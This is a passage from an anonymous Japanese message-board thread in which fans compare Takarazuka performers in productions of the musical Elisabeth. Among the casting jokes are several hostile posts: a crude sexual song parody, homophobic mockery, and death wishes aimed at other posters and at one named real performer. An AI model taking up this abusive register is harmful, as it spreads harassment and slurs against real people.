921 ：名無しさん＠花束いっぱい。：2007/12/24(月) 23:27:43 ID:uGmHQeqO

>915
新公もよろ

922 ：名無しさん＠花束いっぱい。：2007/12/25(火) 09:32:00 ID:x7R9ki51

穴が拡がる～　一人じゃ何もできない～
誰かが挿れる～　肉棒の熱によがる～
穴が拡がる～　性交の終わりが近い～♪

923 ：名無しさん＠花束いっぱい。：2007/12/25(火) 16:34:35 ID:0EkMJu7l

>>922
氏ね。ホモうざすぎ。

924 ：名無しさん＠花束いっぱい。：2007/12/25(火) 19:49:27 ID:x7R9ki51

>>923
酔っ払ってくだらないことを書いた自分も悪いが
一応自分はホモじゃないし、ホモネタでもないはずだが…

925 ：名無しさん＠花束いっぱい。：2007/12/27(木) 14:16:42 ID:2HIyTaEp

ルドルフはター

926 ：名無しさん＠花束いっぱい。：2007/12/27(木) 16:28:56 ID:Cfpa/gDK

>>924
一般人は穴と聞いてもどっちの穴か迷うが
ホモは穴と聞いて迷うことなく特定の穴を思い浮かべる

927 ：名無しさん＠花束いっぱい。：2007/12/27(木) 20:40:37 ID:2HIyTaEp

轟はルキーニ

928 ：名無しさん＠花束いっぱい。：2007/12/28(金) 09:37:18 ID:d1g2SI8I

>>923は、穴＝アナル　という思考回路
つまり、>>923自身がホモなんだろうな。ｗｗ

929 ：名無しさん＠花束いっぱい。：2007/12/28(金) 10:54:05 ID:0B3zfema

アッー！

930 ：名無しさん＠花束いっぱい。：2007/12/29(土) 04:38:39 ID:BA32j/Ku

まぁこんな所に下品な書き込みした>>922が悪いってことで
糸冬　了

931 ：名無しさん＠花束いっぱい。：2007/12/29(土) 08:13:26 ID:GiLYUylb

>>923
ケツの穴にションベンする行為って熱を冷ましているのか。
なるほど、合理的だ。

932 ：名無しさん＠花束いっぱい。：2007/12/29(土) 09:47:55 ID:fjUUPADO

星エリザ大好き。でも二日酔いの状態、風邪気味の時には絶対にﾐﾃﾜｲｹﾅｲ。

933 ：名無しさん＠花束いっぱい。：2007/12/29(土) 11:02:41 ID:Jvc27n9T

おさの現実離れした歌と形相観れば・・の・・も縮み上がるな。

934 ：名無しさん＠花束いっぱい。：2007/12/29(土) 13:01:10 ID:mXmKC2im

この俺だけが知っている　ホモ野郎の穴の伸縮♪

935 ：名無しさん＠花束いっぱい。：2007/12/29(土) 15:05:21 ID:fjUUPADO

たいがいにしとけよ。

936 ：名無しさん＠花束いっぱい。：2007/12/29(土) 23:13:20 ID:fjUUPADO

スーパーノバァ

937 ：名無しさん＠花束いっぱい。：2007/12/30(日) 06:33:15 ID:sy8SFgnD

あのさ、エリザベートじゃなくてエリーザベトが正しい発音だからね。間違えないでね。

938 ：名無しさん＠花束いっぱい。：2007/12/30(日) 08:04:20 ID:JEE2uuMy

いきなりこのスレが雄臭くなったな。
てかここの大半のスレ住人って心も体も女だろ？

939 ：名無しさん＠花束いっぱい。：2007/12/30(日) 08:08:43 ID:fqAR8hY7

腐女子でしょ？

940 ：名無しさん＠花束いっぱい。：2007/12/30(日) 09:23:42 ID:zgYOumik

心は女、でも体は男っていう人が結構いるかもな。
オッスオッス！

941 ：名無しさん＠花束いっぱい。：2007/12/30(日) 09:28:14 ID:zgYOumik

①心は男、体は男、女好き　←ノンケ
②心は男、体は男、男好き　←ホモ
③心は女、体は男、男好き　←性同一性障害

宝塚に興味がある男は①か③だろうと思うね。

942 ：名無しさん＠花束いっぱい。：2007/12/30(日) 16:00:21 ID:7kmkYOry

おさのトートは新公に毛がはえたレベルだったよ。
メイクも気持ち悪かったし。

943 ：名無しさん＠花束いっぱい。：2007/12/30(日) 16:04:57 ID:0ho5q14L

やっぱり、あすかエリザが観たいな。

944 ：名無しさん＠花束いっぱい。：2007/12/30(日) 18:11:16 ID:smsXgjCl

941氏ね。勝手に決め付けないで。豚の糞、口に詰まらせて死んでね。

945 ：名無しさん＠花束いっぱい。：2008/01/02(水) 03:57:36 ID:nJZOEEoG

花組エリザベートやはりすごいですね…(ToT)

946 ：名無しさん＠花束いっぱい。：2008/01/03(木) 20:37:21 ID:x6ta3VHj

花エリザで残念なのは
オサトートがミルクのラスト
♪この手でつかみとろぅお～おお～おお～おっ！
と「三段上げ」をやってない事だ。
オサが三段上げで歌ってたら迫力だったろうな～聞きたかった…

947 ：名無しさん＠花束いっぱい。：2008/01/03(木) 23:13:55 ID:fXcOpQ/r

花エリザ

948 ：名無しさん＠花束いっぱい。：2008/01/04(金) 18:52:30 ID:edagfy/Q

>942
オサのトートが新公に毛が生えた程度っていうなら、
水のトートは新公以下。
板に乗せて人様にみせちゃいけないレベルだな。

949 ：名無しさん＠花束いっぱい。：2008/01/04(金) 23:55:47 ID:2cc2QuHS

なんか必死だな

950 ：名無しさん＠花束いっぱい。：2008/01/05(土) 02:22:43 ID:y/mLQzRo

演技力皆無なこと、ファンは気づかないんだよね
それと歩き始めが吉本芸人のようなことにも…

951 ：名無しさん＠花束いっぱい。：2008/01/05(土) 08:32:27 ID:HUcuhkKQ

オサトートの歩き方はデーモン小暮閣下だと思った。
でもそれが好きな私…

952 ：名無しさん＠花束いっぱい。：2008/01/06(日) 21:56:22 ID:jeEHTVdJ

＞９１５
的確でおもしろい　　本人のイメージもあるんだるうけど、ワダスにもつけたさせてくらさい。

タータン：苦労症なお顔のせいか、ああいう試練は既に二、三度は経験してそう
ユーヒ　：ちょっと生意気そう。意地もありそうだし、もう少ししたたかにふるまいそうでもある。
樹里ちゃん：この人はネアカ。暗闇も明るく照らす、闇を広げるには無理がある。

そうなると、一番違和感がないのはユミコかなって感じだな～

953 ：名無しさん＠花束いっぱい。：2008/01/06(日) 23:24:01 ID:uvHYLwdH

フランツも組によって苦労の観点が違うような気がする。

ゆき：こんなに熱く愛しているのに・・・
ノル：完璧な人生設計のはずなのに、どこを間違えたのか・・・
ガイチ：繊細な妻と息子を理解しようと努力したのだが・・・
ゆみこ：馬鹿な子（妻＆息子）ほど可愛い・・・
じゅり：本当は自分もハメを外したいんだが・・・

954 ：名無しさん＠花束いっぱい。：2008/01/06(日) 23:34:24 ID:HMzgqkgi

稔幸

955 ：名無しさん＠花束いっぱい。：2008/01/06(日) 23:45:49 ID:hZwznBbE

じゅりフランツの苦悩にワロスｗ
羨ましいのかよ！

956 ：名無しさん＠花束いっぱい。：2008/01/06(日) 23:52:54 ID:kIl6Uf7C

ルドルフず

タータン：　誰の長居でこんなに老け込んだと思ってるんだ（チャールズ皇太子）。転覆してやる。　　
たかこ：　ママのかまいすぎがうざかった。もう解放して欲しかった。んだけど。
ぶん：　本音！本音！本音言ったら粛清ってわけ。
コム：　帝国継ぐ意思なし（ﾒﾝﾄﾞだもーん）って王政転覆派になっちゃうんですか。そーですか。　　
じゅりぴょん：な、なんやあ。革命ゆうたら祭りみたいなもんとちゃうん？
ゆみこ：強すぎるママ。裏ではお茶目なのにかまってくれないパパ。いぢけてやる。
ゆうひ：ママとぼくは腕相撲で決着つけたかったのに。軍隊つけないと負けそうだった。
てる：　何もしてないじゃないか。ホントに何も出来ないんだけど（泣き）。

957 ：名無しさん＠花束いっぱい。：2008/01/07(月) 06:43:08 ID:7crqwe6q

>956
ほぼ同意！特に、てるルド評ツボった☆

958 ：名無しさん＠花束いっぱい。：2008/01/07(月) 10:18:02 ID:zPrPrsI9

テルルドｶﾜｲｿｽ
さすが歴代随一のﾍﾀﾚ皇太子と言われただけのことはあるwww

959 ：名無しさん＠花束いっぱい。：2008/01/07(月) 20:12:04 ID:FtJX6CJn

ミズトートはいい。
人外の生き物が人間の女に恋して恋して執着するってのが好みみたいでたまらん。
全然黄泉の「帝王」じゃあないけどさ。
劇団よくミズにやらせようって決断してくれたよ。
まあ結果論だけどな。

960 ：名無しさん＠花束いっぱい。：2008/01/07(月) 20:54:33 ID:uG7oCqQx

稔幸死ね

961 ：名無しさん＠花束いっぱい。：2008/01/07(月) 23:06:12 ID:6hAy0F/h

もしも麻実れいさまがト-トだったら
もしも剣幸さまがフランツだったら
もしも春風ひとみさまがゾフィだったら
もしも大浦みずきさまがト-トだったら
もしも誰がエリザべ-トだったら
って夜な夜な考えてしまう
今夜も眠れない・・・

962 ：名無しさん＠花束いっぱい。：2008/01/08(火) 00:11:34 ID:2Ets2mtu

☆マヤさん、マテさん再来日！これ東京はやらないのかな？
「ウィーン・ミュージカルコンサート」
５月２１～２８日（全１０回公演）梅田芸術劇場メインホール
主な出演者　Mayaさん、Mate、Lukas、Majan　他
Ｓ席￥１３０００他

963 ：名無しさん＠花束いっぱい。：2008/01/08(火) 08:03:06 ID:W5uzZ8ol

ひとえに宙エリザが断トツでブッちぎりの駄作ということやな。

964 ：名無しさん＠花束いっぱい。：2008/01/08(火) 09:28:54 ID:9BqyCFtW

>>961
＞もしも麻実れいさまがト-トだったら
＞もしも剣幸さまがフランツだったら

激しく見たい！！！

965 ：名無しさん＠花束いっぱい。：2008/01/10(木) 08:01:52 ID:sfc1vzML

一路トート…気品
麻路トート…妖艶
春野トート…傲慢
姿月トート…爆裂
彩輝トート…酷薄
水トート…乙男

トート６兄弟どれも好きだ。
座談会とか見たい。

966 ：名無しさん＠花束いっぱい。：2008/01/10(木) 19:38:15 ID:ULc/9A7P

一路トート…静謐
麻路トート…大人の男
春野トート…オサ
姿月トート…腕力
彩輝トート…薄
水トート…楽しそう
　　　

967 ：名無しさん＠花束いっぱい。：2008/01/10(木) 23:58:46 ID:YAO95U77

ちょwww
上二つ地味にﾜﾛﾀw
自分はトートは姿月派です。

968 ：名無しさん＠花束いっぱい。：2008/01/11(金) 07:29:16 ID:BkTLQ1i+

宙エリザは最悪。
実相寺昭雄がやらかした。

969 ：名無しさん＠花束いっぱい。：2008/01/11(金) 07:43:10 ID:uDaQ/0V/

>965
うまいな

970 ：名無しさん＠花束いっぱい。：2008/01/11(金) 22:17:15 ID:VrOrNVHU

>>966
春野トート…オサ
ウケたｗ

971 ：名無しさん＠花束いっぱい。：2008/01/13(日) 09:54:56 ID:keJ5oahN

映像だけなら宙エリザが最強の駄作

972 ：名無しさん＠花束いっぱい。：2008/01/13(日) 12:39:15 ID:WYbejy2w

闇広は好きだったけど…ヴィジュアルだけなら

973 ：名無しさん＠花束いっぱい。：2008/01/13(日) 14:54:21 ID:keJ5oahN

今。星組のエリザを見てるけどタキ＆ノル親子…本当に憎たらしい…ｷﾞﾘｷﾞﾘ…ｷﾞﾘｷﾞﾘ…（｀曲´＃）ｷﾞﾘｷﾞﾘ…(-"-;)ｷﾞﾘｷﾞﾘ…(*'へ'*)

でも孫のグングン＆ブンブン…かわいい～☆★☆

974 ：名無しさん＠花束いっぱい。：2008/01/14(月) 01:28:42 ID:C8WjgUR6

ずんこトートがとにかく好きだ。
見た目だけならさえこも◎

975 ：名無しさん＠花束いっぱい。：2008/01/14(月) 02:39:51 ID:XDuu21wp

矢野君は黄泉の帝王というよりかは、とってもとってもかわいいお姫様。相手の方が帝王。

976 ：名無しさん＠花束いっぱい。：2008/01/14(月) 15:23:55 ID:RILqfBPq

さえちゃんトートは黄泉の帝国学園で通信簿が体育１ orz という感じ。
動けない～、手足あがらない～、マントひるがえせない～（ﾓﾀﾓﾀﾉｿｰﾘ）
ぜったいに鉄棒逆上がりや跳び箱出来なかったと確信できるトートだった。
しかも歌うとすごいﾍﾀﾚで。ここまで情けないと、なんか可愛らしかった。
ぜひ鳳稀トートと最強ﾍﾀﾚの闇広を銀橋でﾓﾀﾓﾀ演じて欲しい。

977 ：名無しさん＠花束いっぱい。：2008/01/14(月) 15:26:05 ID:VVpd9v1j

↑間違いみっけ

×鳳稀　→　○凰稀

978 ：名無しさん＠花束いっぱい。：2008/01/14(月) 18:28:26 ID:XDuu21wp

瀬奈トート
彩輝エリザベート
初風フランツ
霧矢ルキーニ
月船ルドルフor北翔ルドルフ
ゆうひさんは…○ピで謝先生の助手にでもなって…ファンのみんなゴメン。

979 ：名無しさん＠花束いっぱい。：2008/01/14(月) 19:39:20 ID:XDuu21wp

×ピ
○ビ

うひたんｸﾞﾊﾞｰｲ(^^)/

980 ：名無しさん＠花束いっぱい。：2008/01/15(火) 00:28:13 ID:zPACNAY4

976に盛大にﾌｲﾀ
何の学園だよwww

981 ：名無しさん＠花束いっぱい。：2008/01/15(火) 07:58:24 ID:H9Mtnb1N

黄泉の帝国学園生徒会

生徒会長……一路トート
副会長………麻路トート
書記…………春野トート
会計…………彩輝トート
運動部代表…姿月トート(応援団団長)
文化部代表…水トート(手芸部部長)

982 ：名無しさん＠花束いっぱい。：2008/01/15(火) 08:49:58 ID:2TbkONqV

水トートはゲーム愛好会会長だな

学校の承認受けられずコンピュータ教室の隅で
情報研究部(正規の部活)に間借りして胡散臭く活動中

983 ：名無しさん＠花束いっぱい。：2008/01/15(火) 14:12:08 ID:tQFsf/CS

980さんよ。あんさん次スレは立てましたかい？